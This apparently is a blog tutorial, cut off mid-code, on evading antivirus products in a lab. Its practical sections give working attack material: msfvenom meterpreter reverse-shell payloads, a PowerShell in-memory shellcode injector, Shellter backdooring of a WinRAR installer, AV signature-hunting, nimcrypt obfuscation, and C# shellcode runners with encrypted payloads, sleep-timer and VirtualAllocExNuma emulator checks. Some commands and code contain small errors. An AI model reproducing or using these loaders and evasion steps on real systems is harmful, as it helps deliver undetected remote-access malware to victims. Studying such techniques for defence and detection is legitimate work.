Intro

In this blog post, we will delve into the intriguing world of antivirus evasion techniques, exploring the various ways in which malicious actors attempt to outmaneuver security software.
From the ingenious obfuscation of malicious code to polymorphic malware that shape-shifts with each attack, we will uncover the dark arts that threat actors employ to bypass even the most resilient antivirus defenses.
However, this blog post is not meant to serve as a guidebook for aspiring hackers; quite the contrary.
Our primary focus will be to shine a light on these stealthy strategies so that both security professionals and ordinary users can better understand the threats they face.
With knowledge comes power, and by comprehending the tactics, we can fortify our defenses and develop effective mitigation solutions to safeguard our digital realm.

Background

lab.png

The real time protection of the antivirus/antiviruses we test against is turned ON unless stated otherwise.
Both machines have nc.exe installed.
Both machines have Microsoft Office 2016 installed.
Both machines have Process Explorer installed.
Both systems are x86 (32 bit) systems.
Both systems have a "lab" user with restricted privileges and an "admin" user with Administrator privileges.
Our Attacker machine has the FlexHEX hex editor preinstalled on it's Windows 10 part.

What is Antivirus Software?

Antivirus is a type of application designed to prevent, detect, and remove malicious software.
It was originally designed to simply remove computer viruses.
However, with the development of other types of malware, antivirus softwares now typicly include additional protections, such as firewalls, application scanners, and more.

Detection Methods

There are multiple methods that antivirus manufacturers utilize to detect malicious software.
The most common methods used are: signature-based detection, heuristic-based detection, and behavior-based detection.

Signature-based detection: Signature-based antivirus detection is mostly considered a blacklist technology. In other words, the filesystem is scanned for known malware signatures and if any are detected, the offending files are quarantined. This implies that, with correct tools, we can bypass antivirus software that relies on this detection method fairly easily. Specifically, we can bypass signature-based detection by simply changing or obfuscating the contents of a known malicious file in order to break the identifying byte sequence (or signature).

Heuristic-Based Detection: Heuristic-Based detection is a detection method that relies on various rules and algorithms to determine whether or not an action is considered malicious. This is often achieved by stepping through the instruction set of a binary file or by attempting to decompile and then analyze the source code. The idea is to look for various patterns and program calls (as opposed to simple. byte sequences) that are considered malicious.

Behavior-Based Detection: Behavior-Based detection dynamically analyzes the behavior of a binary file. This is often achieved by executing the file in question in an emulated environment, such as a small virtual machine, and looking for behaviors or actions that are considered malicious.

It is important to note that the majority of antivirus developers use a combination of these detection methods to achieve higher detection rates.

Evasion Methods

Generally speaking, antivirus evasion falls into two broad categories: on-disk and in-memory.
On-disk evasion focuses on modifying malicious files physically stored on disk in an attempt to evade AV detection.
Given the maturity of AV file scanning, modern malware often attempts in-memory evasion, avoiding the disk entirely.

On-disk Evasion

To begin our discussion of evasion, we will first look at various techniques used to obfuscate files stored on a physical disk.
  • Packers: Modern on-disk malware obfuscation can take many forms.
    One of the earliest ways of avoiding detection involved the use of packers.
    Given the high cost of disk space and slow network speeds during the early days of the Internet, packers were originally designed to simply reduce the size of an executable.
    Unlike modern "zip" compression techniques, packers generate an executable that is not only smaller, but is also functionally equivalent with a completely new binary structure.
    The resultant file has a new signature and as a result, can effectively bypass older and more simplistic AV scanners.
    Even though some modern malware uses a variation of this technique, the use of UPX and other popular packers alone is not sufficient for evasion of modern AV scanners.

  • Obfuscators: Obfuscators reorganize and mutate code in a way that makes it more difficult to reverse- engineer.
    This includes replacing instructions with semantically equivalent ones, inserting irrelevant instructions or "dead code", splitting or reordering functions, and so on.
    Although primarily used by software developers to protect their intellectual property, this technique also can be effective against signature-based AV detection.

  • Crypters: A crypter software cryptographically alters executable code, adding a decrypting stub that restores the original code upon execution.
    This decryption happens in-memory, leaving only the encrypted code on-disk. Encryption has become foundational in modern malware as one of the most effective AV evasion techniques.

  • Software Protectors: Highly effective antivirus evasion requires a combination of all of the previous techniques in addition to other advanced ones, including anti-reversing, anti-debugging, virtual machine emulation detection, and so on.
    In most cases, software protectors were designed for legitimate purposes but can also be used to bypass AV detection.
    Most of these techniques may appear simple at a high-level but they are actually quite complex.
    Because of this, there are currently few actively-maintained free tools that provide acceptable antivirus evasion.
    Among commercially available tools, The Enigma Protector in particular can successfully be used to bypass antivirus products. However, it is not always the case.
    You can also utilize it for advanced EXE multi rotection against reverse engineering.

In-memory Evasion

In-Memory Injections, also known as PE Injection is a popular technique used to bypass antivirus products. Rather than obfuscating a malicious binary, creating new sections, or changing existing permissions, this technique instead focuses on the manipulation of volatile memory.
One of the main benefits of this technique is that it does not write any files to disk, which is one the main areas of focus for most antivirus products.
There are several evasion techniques that do not write files to disk.
I will cover in-memory injection using PowerShell in detail and cover the others too which rely on low level programming background in languages such as C/C++.

  • Remote Process Memory Injection: This technique attempts to inject the payload into another valid PE that is not malicious. The most common method of doing this is by leveraging a set of Windows APIs.
    First, we would use the OpenProcess function to obtain a valid HANDLE to a target process that we have permissions to access.
    After obtaining the HANDLE, we would allocate memory in the context of that process by calling a Windows API such as VirtualAllocEx.
    Once the memory has been allocated in the remote process, we would copy the malicious payload to the newly allocated memory using WriteProcessMemory.
    After the payload has been successfully copied, it is usually executed in memory in a separate thread using the CreateRemoteThread API.
    This sounds complex, but we will use a similar technique in the following example, using PowerShell to do most of the heavy lifting and perform a very similar but simplified attack targeting a local powershell.exe instance.

  • Reflective DLL Injection: Unlike regular DLL injection, which implies loading a malicious DLL from disk using the LoadLibrary API, this technique attempts to load a DLL stored by the attacker in the process memory. The main challenge of implementing this technique is that LoadLibrary does not support loading a DLL from memory. Furthermore, the Windows operating system does not expose any APIs that can handle this either. Attackers who choose to use this technique must write their own version of the API that does not rely on a disk-based DLL.

  • Process Hollowing: When using process hollowing to bypass antivirus software, attackers first launch a non- malicious process in a suspended state.
    Once launched, the image of the process is removed from memory and replaced with a malicious executable image.
    Finally, the process is then resumed and malicious code is executed instead of the legitimate process.

  • Inline hooking: As the name suggests, this technique involves modifying memory and introducing a hook (instructions that redirect the code execution) into a function to point the execution flow to our malicious code.
    Upon executing our malicious code, the flow will return back to the modified function and resume execution, appearing as if only the original code had executed.

AV Evasion: Practical Example

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.100 LPORT=4444 -f exe > binary.exe
[...]
#
Uploading the binary.exe file to virustotal.com we see that a lot of antivirus vendors detected the file as malicious.

vt.png

VirusTotal is convenient but it generates a hash for each unique submission, which is then shared with all participating AV vendors.
We will see that we can use AntiScan.Me instead.
# rdesktop 10.11.0.22 -u lab -p lab -g 1024x768 -x 0x80
Here, -x changes default bandwidth performance behaviour for RDP5. By default only theming is enabled, and all other options are disabled (corresponding to modem (56 Kbps)). Setting experience to b[roadband] enables menu animations and full window dragging. Setting experience to l[an] will also enable the desktop wallpaper. Setting experience to m[odem] disables all (including themes). Experience can also be a hexidecimal number containing the flags.

We set up a netcat listener on the Windows target.
> nc -lvnp 4455 > C:\Users\lab\Desktop\binary.exe
We set up netcat on our Kali machine to send the binary.exe file - previously generated with msfvenom - to the Windows target.
# nc -w 3 10.11.0.22 4455 < binary.exe

PowerShell In-Memory Injection

Below, we see a basic template script that performs in-memory injection:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';


$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i),
$sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

The script sets the size of the allocated memory block ($size) to 0x1000 (4096 bytes) if the shellcode length is greater than 4096 bytes. While this ensures that the memory allocation is sufficient to hold the shellcode, it doesn't take into account cases where the shellcode length is smaller than 4096 bytes. If the shellcode is smaller, there will be unused memory, which is not efficient. Instead, we can directly use the length of the shellcode to determine the size of the memory allocation:
$sc = <place your shellcode here>;
$size = $sc.Length;
The script lacks error handling, which might lead to issues if, for example, the memory allocation fails or if the shellcode contains invalid characters for the memory operations.
We can modify the template script to correct these issues, but it is not necessary as these are not critical issues and it will do the job anyway.

The script starts by importing VirtualAlloc428 and CreateThread429 from kernel32.dll as well as memset from msvcrt.dll. These functions will allow us to allocate memory, create an execution thread, and write arbitrary data to the allocated memory, respectively. Once again, notice that we are allocating the memory and executing a new thread in the current process (powershell.exe), rather than a remote one.

The script then allocates a block of memory using VirtualAlloc, takes each byte of the payload stored in the $sc byte array, and writes it to our newly allocated memory block using memset.

As a final step, our in-memory written payload is executed in a separate thread using CreateThread.

We generate a shellcode with msfvenom:
# sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.100 LPORT=4444 -f powershell
[...]
[byte[]] $buf = 0xfc, 0xe8, 0x82, [...]
Then copy the resulting output into the script.
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';


$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = 0xfc, 0xe8, 0x82, [...];

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i),
$sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

We save our script with as av_test.ps1.
Uploading it to VirusTotal.com reveals that only 6 antivirus flag our script as malicious, and Avira is not one of them.
Let's scan the file with Avira on the targeted Windows machine.

avirascanres.png

Nice! Our powershell script did not trigger any warnings. If we attempt to run our powershell script with the
> powershell .\av_test.ps1
command, we notice that the execution policy prevents us from executing our script.
This is because powershell execution policies are set on a per user, rather than a per system basis.
We can: attempt to change the execution policy OR attempt to bypass the execution policy on a per script basis with the
 -ExecutionPolicy Bypass
flag.

Keep in mind that much like anything in Windows, the PowerShell Execution Policy settings can be dictated by one or more Active Directory GPOs. In those cases it may be necessary to look for additional bypass vectors.

Let's attempt to view and change the current policy for our user.
> Get-ExecutionPolicy -Scope CurrentUser
Undefined
> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
> Get-ExecutionPolicy -Scope CurrentUser
Unrestricted
Before executing our script, we start a meterpreter handler on our Kali attack machine to interact with our shell.
# msfvenom -x "use exploit/multi/handler; set RHOST 10.11.0.22; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.11.0.100"  
Typing in
> show options  
we can see everything is alright and the LPORT is 4444.
> exploit  
Let's launch our powershell script on the targeted Windows machine!
> .\av_test.ps1
The script executes without any problems...
meterpreter > getuid  
Server username: WIN10-x86\lab
and we receive a meterpreter shell on our attack machine.
Excellent!
We have successfully evaded Avira's detection on our target.

Shellter

Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software. It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.
it essentially performs a thorough analysis of the target PE (portable executable) file and the execution paths. It then determines where it can inject our shellcode, without relying on traditional injection techniques that are easily caught by AV engines. Those include changing of PE file section permissions, creating new sections, and so on. Finally, Shellter attempts to use the existing PE Import Address Table (IAT) entries to locate functions that will be used for the memory allocation, transfer, and execution of our payload.
Not to be confused with the Virtual Function Table (VFT).
We need a legitimate software to which we can inject our malicious payload.
WinRAR will be good for this purpose.
# sudo apt install shellter && sudo apt install wine
# sudo shellter
 A  
 /home/kali/winrar-x32-623.exe  
As soon as Shellter finds a suitable place for our shellcode it will ask us if we want to enable stealth mode, which will try to restore the execution flow after executing our payload. We will enable this, allowing our winrar installation to complete normally, which could reduce user suspicion.
 Y  
[...]
[1] Meterpreter_Reverse_TCP [stager]
[...]
L
 1  
SET LHOST: 10.11.0.100  
SET LPORT: 4444  
[...]
Injection: Verified!
Press [Enter] to continue...
We configure a listener on our Kali machine to interact with the meterpreter payload and transfer our PE with netcat.
# msfvenom -x "use exploit/multi/handler; set RHOST 10.11.0.22; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.11.0.100; exploit"  
> nc.exe -lvnp 4455 > C:\Users\lab\Dekstop\winrar-x32-623.exe  
# nc -lvnp 4455 > C:\Users\lab\Dekstop\winrar-x32-623.exe  
Let's scan our WinRAR with Avira.

avirascanres.png

Since Shellter obfuscates both the payload as well as the payload decoder before injecting them into the PE, the Avira scan runs cleanly.
Once we execute the file, we are presented with the default WinRAR installation window.
We install WinRAR.
meterpreter >
[*] 10.11.0.22 - Meterpreter session 1 closed. Reason: Died
Looking back at our handler shows that we successfully received a Meterpreter session but the session appears to die after the installation either finishes or is cancelled.
This makes sense because the installer execution has completed and the process has been terminated.
In order to overcome this problem, we can set up an AutoRunScript to migrate our Meterpreter to a separate process immediately after session creation.
If we re-run the WinRAR setup file after this change to our listener instance, we should receive a different result.
> set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate

> exploit
[...]
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 4832
[+] Successfully migrated to process 4832
meterpreter > getuid  
Server username: WIN10-x86\lab
After the migration completes, the session will remain active even after we complete the WinRAR installation process or cancel it.

Intermediate Antivirus Evasion

To begin, let's discuss the process of bypassing antivirus signature detection.

For this exercise, we must disable the heuristics-based scanning portion of the antivirus engine. In this section, we are going to rely on ClamAV for scanning, which is preinstalled on the targeted Windows 10 victim machine and has it's heuristics engine disabled.

Before starting our analysis, we'll launch the Avira Free Antivirus GUI and open the Antivirus pane. In the new window, we'll click Real-Time Protection and switch it "off".

aviradisablerealtime.png

For this example, we'll generate a 32-bit Meterpreter executable and copy it to the C:\Tools folder on our Windows 10 victim machine. This will serve as our malicious binary.
# sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.100 LPORT=4444 -f exe > ./met.exe
Next, we'll open a PowerShell prompt with the -ExecutionPolicy Bypass argument, navigate to the C:\Tools
directory, and import the Find-AVSignature script as follows:
> powershell -ExecutionPolicy Bypass
> cd C:\Tools
> Import-Module .\Find-AVSignature.ps1
Let's use Find-AVSignature to split the met.exe file into intervals.
> Find-AVSignature -StartByte 0 -EndByte max -Interval 10000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest1 -Verbose -Force

[...]
VERBOSE: Byte 0 -> 0 VERBOSE: Byte 0 -> 10000 VERBOSE: Byte 0 -> 20000 VERBOSE: Byte 0 -> 30000 VERBOSE: Byte 0 -> 40000 VERBOSE: Byte 0 -> 50000 VERBOSE: Byte 0 -> 60000 VERBOSE: Byte 0 -> 70000 VERBOSE: Byte 0 -> 73801 Files written to disk. Flushing memory. Completed!
We'll open a new administrative PowerShell prompt and navigate to the C:\Program Files\ClamAV folder.
From here, we'll launch the clamscan.exe executable, running the scan against the segments in
the C:\Tools\avtest1 folder
> cd 'C:\Program Files\ClamAV\'
> .\clamscan.exe C:\Tools\avtest1 C:\Tools\avtest1\met_0.bin: OK C:\Tools\avtest1\met_10000.bin: OK C:\Tools\avtest1\met_20000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_30000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_40000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_50000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_60000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_70000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest1\met_73801.bin: Win.Trojan.MSShellcode-7 FOUND [...]
The first file passes detection. This is no surprise, since it is empty. The second file, which contains the first 10000 bytes of our binary, is clean as well. This means that the first signature was detected in the third file, somewhere between offset 10000 and 20000.

It is important to note that offsets and number of detections found may vary for each generation of a Meterpreter executable.

We'll run Find-AVSignature again to split the Meterpreter executable with 1000 byte intervals,
but only from offset 10000 to 20000.
> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest2 -Verbose -Force
> .\clamscan.exe C:\Tools\avtest2 C:\Tools\avtest2\met_10000.bin: OK C:\Tools\avtest2\met_11000.bin: OK C:\Tools\avtest2\met_12000.bin: OK C:\Tools\avtest2\met_13000.bin: OK C:\Tools\avtest2\met_14000.bin: OK C:\Tools\avtest2\met_15000.bin: OK C:\Tools\avtest2\met_16000.bin: OK C:\Tools\avtest2\met_17000.bin: OK C:\Tools\avtest2\met_18000.bin: OK C:\Tools\avtest2\met_19000.bin: Win.Trojan.MSShellcode-7 FOUND C:\Tools\avtest2\met_20000.bin: Win.Trojan.MSShellcode-7 FOUND [...]
The offending bytes are between offsets 18000 and 19000.
Let's narrow this further by lowering the interval to 100 bytes and saving to a new directory.
> Find-AVSignature -StartByte 18000 -EndByte 19000 -Interval 100 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest3 -Verbose -Force
> .\clamscan.exe C:\Tools\avtest3 C:\Tools\avtest3\met_18000.bin: OK C:\Tools\avtest3\met_18100.bin: OK C:\Tools\avtest3\met_18200.bin: OK C:\Tools\avtest3\met_18300.bin: OK C:\Tools\avtest3\met_18400.bin: OK C:\Tools\avtest3\met_18500.bin: OK C:\Tools\avtest3\met_18600.bin: OK C:\Tools\avtest3\met_18700.bin: OK C:\Tools\avtest3\met_18800.bin: OK C:\Tools\avtest3\met_18900.bin: Win.Trojan.Swrort-5710536-0 FOUND C:\Tools\avtest3\met_19000.bin: Win.Trojan.MSShellcode-7 FOUND [...]
The output reveals two different signatures. The first is located between 18800 and 18900 and
the other is located between 18900 and 19000. The best approach is to handle each signature individually, so we'll first divide the 18800 to 18900
range into 10-byte segments, saving the results to a new directory, then the other range into 10-byte segments, saving the results to a yet another new directory.

Etc.

I know it is not the most exciting part of this subject.
It is not the most effective way to bypass antivirus defenses, so let's move on.

Bypassing Antivirus with Metasploit

We could bypass antivirus with Metasploit encoders or encryptors but utilizing these is also not the most effective way to bypass antivirus defenses as of 2023, so again, let's move on.

Trying a Different Tool

Yes, with trying a different tool for the same purpose, we might be able to bypass the given antivirus solution.
A good example of this is the psexec Metasploit module, psexec.py, smbexec.py, and wmiexec.py beginner's set.

Using Obfuscated Builds

The simplest way to evade AV detection is to use obfuscated build. For instance, WinPEAS has an obfuscated version that can be found here: https://github.com/carlospolop/PEASS-ng/releases/tag/20230402, winPEASx64_ofs.exe


Obfuscate a Tool by Yourself

nimcrypt is a linux based tool that can be used to obfuscate binaries: https://github.com/icyguider/Nimcrypt2
It takes some time to setup the tool, but once it’s setup, it’s relatively straightforward to use.

Let’s take a tool called certify as an example https://github.com/GhostPack/Certify
This tool is often picked up by AV during execution.

Note: the obfuscated tools may often fail on sleep check, my method to get around it is to comment out the following line in the nimcrypt.nim file and then re-build the nimcrypt binary

# line 468
if not sleepAndCheck():
    echo "[-] Sleep did not pass the check, exiting"
    # quit()

To obfuscate a binary

> ./nimcrypt -f Certify.exe -t csharp -u -e -o NimCertify.exe

Then, NimCertify.exe can evade AV detection in most cases.


Bypassing Antivirus with Shellcode Runner in C#

Let's try to compile our shellcode runner, which is presented as a 64-bit application. It looks like this:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
  class Program
  {
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
    uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
    uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle,
    UInt32 dwMilliseconds);

    static void Main(string[] args)
    {
      byte[] buf = new byte[752]{
        0xfc,0x48,0x83,0xe4...
      }

      int size = buf.Length;

      IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

      Marshal.Copy(buf, 0, addr, size);

      IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

      WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
  }
}
Let's talk about Marshalling.

In C#, marshalling refers to the process of converting data between managed and unmanaged memory.
Managed memory is the memory managed by the .NET runtime, while unmanaged memory is memory managed outside of the .NET runtime, often in native code or external libraries written in languages like C or C++.
Marshalling is necessary when you need to pass data between managed and unmanaged code, such as when working with platform-specific APIs, COM objects, or interoperating with native libraries.
The Marshal class in C# provides a set of methods and classes for performing marshalling operations.

This should be enough talk about Marshalling for now.

The buf variable contains the shellcode, which is an un-encoded and un-encrypted 64-bit Meterpreter shellcode generated with msfvenom.
Copy the compiled executable to the Windows 10 victim machine,
and perform an on-demand scan with Avira:

avirascanres.png
Nice! Our custom shellcode runner bypassed Avira's signature detection.
A ClamAV scan is also clean.

We would like to know how effective this bypass is. Let's scan our executable with AntiScan.Me.
Looking at the results we see the following:

antiscanres.png

11 of the 26 engines flagged our executable.
This is not bad for a first attempt, especially considering that these engines executed both signature and heuristic scans.

Remember that uploading the executable to VirusTotal also sends the data to antivirus vendors for analysis.
This could potentially expose the code we just developed.

Encrypting the C# Shellcode Runner

The key to bypassing antivirus signature detections is custom code, and since we want to encrypt the shellcode, we must also create a custom decryption routine to avoid detection.
We will implement the Caesar Cipher as it is a more straightforward decryption routine than, for example, aes256.

namespace Helper
{
  class Program
  {
    static void Main(string[] args)
    {
      byte[] buf = new byte[752] {
      0xfc,0x48,0x83,0xe4,0xf0...
      }

      byte[] encoded = new byte[buf.Length];

      for(int i = 0; i < buf.Length; i++)
      {
        encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
      }
      StringBuilder hex = new StringBuilder(encoded.Length * 2);
      foreach(byte b in encoded)
      {
      hex.AppendFormat("0x{0:x2}, ", b);
      }
      Console.WriteLine("The payload is: " + hex.ToString());
    }
  }
}

Now we can modify our existing C# shellcode runner project by copying the encrypted shellcode
into it and adding the decrypting routine.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;

namespace ConsoleApp1
{
  class Program
  {
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
    uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
    uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle,
    UInt32 dwMilliseconds);

    static void Main(string[] args)
    {
      byte[] buf = new byte[752] {0xfe, 0x4a, 0x85, 0xe6, 0xf2...}
      for(int i = 0; i < buf.Length; i++)
      {
        buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
      }

      int size = buf.Length;

      IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

      Marshal.Copy(buf, 0, addr, size);

      IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

      WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
  }
}
Now, let’s test the effectiveness of this bypass technique. Since this unencrypted project bypassed both Avira and ClamAV, we’ll scan it with AntiScan.Me:

antiscanreskeepingitg.png

Only 7 out of 26 antivirus programs flagged our code.
This is a huge improvement over our previous attempt, which flagged 11 times.

At this point, we have had relative success bypassing signature detection.
In the next section, we will attempt to bypass heuristics detection techniques.

Simple Sleep Timers

One of the more ancient techniques used to bypass behavior analysis involves exploiting time delays. In cases where an application is active within a simulator and the heuristics engine comes across a pause or sleep command, it will accelerate through the delay until the point at which the application recommences it's operations.

This strategy prevents the need to endure a potentially lengthy waiting period during a heuristics scan.

A straightforward approach to capitalize on this method employs the Win32 Sleep API.

This particular API suspends the execution of the calling thread for a designated duration. When this segment of code is being simulated, the emulator identifies the Sleep call and expeditiously advances through the instruction.

By comparing the time of day before and after the Sleep command, we can easily ascertain whether the call was indeed fast-forwarded.

As an illustration, we can inject a two-second pause, and if the time comparisons show that the two seconds haven't elapsed during the instruction, we can deduce that the simulation is active.

Consequently, we can exit the process prior to executing any suspicious code.

Let's put this into practice.

We will reuse the original unencrypted C# shellcode runner and integrate the Sleep command into the Main method to identify temporal gaps.

In order to accomplish this, we must also include the pinvoke import declaration for Sleep:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;

namespace ConsoleApp1
{
  class Program
  {
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
    uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
    uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle,
    UInt32 dwMilliseconds);

    [DllImport("kernel32.dll")]
    static extern void Sleep(uint dwMilliseconds);
    static void Main(string[] args)

    static void Main(string[] args)
    {
      DateTime t1 = DateTime.Now;
      Sleep(2000);
      double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
      if(t2 < 1.5)
      {
        return;
      }

      byte[] buf = new byte[752] {0xfe, 0x4a, 0x85, 0xe6, 0xf2...}
      for(int i = 0; i < buf.Length; i++)
      {
        buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
      }

      int size = buf.Length;

      IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

      Marshal.Copy(buf, 0, addr, size);

      IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

      WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
  }
}
Through the integration of the Sleep command and the time-lapse detection into the Caesar ciphered C# shellcode runner project, we have effectively merged these two methodologies.
Executing a scan using the compiled executable produces a noteworthy outcome:

antiscanhs.png

This time, our code drew attention from merely six products.

This signifies progress, given that we've managed to outmaneuver Windows Defender's detection - a feature inherent in the majority of contemporary Windows-based systems.

The enhanced success in evading detection is quite remarkable, especially when considering the longstanding utilization of the Sleep function for evading behavioral analysis for over ten years.

If we only used simple sleep timers, the results would have not improved as we would have not bypass the signature based detections.

We are now on the brink of effectively circumventing all the antivirus products supported by antiscan.me.

As a result, in the ensuing section, we will transition to exploring alternative heuristic bypass techniques.

Non-emulated APIs

Antivirus emulator engines simulate the execution of common executable file formats and functions.
We can try bypassing detection by using a function (usually a Win32 API) that is either emulated incorrectly or not emulated at all.

Locating non-emulated APIs generally involves two methods.

The first is reverse engineering the antivirus emulator, which is time-consuming due to it's complex software.

The second, simpler approach is testing various APIs against the AV engine.

The idea is that if the AV emulator encounters a non-emulated API, execution will fail.

In such cases, our malicious program can identify AV emulation by comparing the API result to the expected result.

Consider the relatively uncommon Win32 VirtualAllocExNuma API as an example.

The "Numa" suffix refers to a system design for optimizing memory usage on multi-processor servers.
This API allocates memory like VirtualAllocEx but is optimized for a specific CPU.

Such optimization isn't necessary on a standard single-CPU workstation.

Because of this, some antivirus vendors do not emulate VirtualAllocExNuma and, in this case, it's execution by the AV emulator will not result in a successful memory allocation.

Let's try this outwith a simple POC.

Function prototype for VirtualAllocEx and VirtualAllocExNuma:
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD flAllocationType,
  DWORD flProtect
  );

LPVOID VirtualAllocExNuma(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD flAllocationType,
  DWORD flProtect,
  DWORD nndPreferred
);
In the two function prototypes above, the last argument is different and is a simple DWORD type.
This means we can reuse the pinvoke import for VirtualAllocEx and manually add an extra argument of type UInt32.
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress,
  uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
As for VirtualALlocEx, the Numa version accepts as the first argument the handle for the process in which we want to allocate memory.
In our case, we simply want to allocate memory in the address space of the currently running process.
An easy way to obtain a handle to the current process is with the Win32 GetCurrentProcess API.
This does not take arguments, so the import is rather simple
[DllImport("kernel32.dll")]
  static extern IntPtr GetCurrentProcess();
Finally, it's important to designate the desired NUMA node for the allocation.
In the context of a multiprocessing system, this corresponds to the specific CPU where our allocated physical memory should be located.
As we anticipate working on a single-CPU workstation, we set this value to "0" to indicate the first node.
The code snippet below illustrates the usage of VirtualAllocExNuma and the subsequent detection of emulation.
IntPtr memorypointer = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4,0);
if(memorypointer == null)
{
  return;
}
Putting it all together:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;

namespace ConsoleApp1
{
  class Program
  {
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
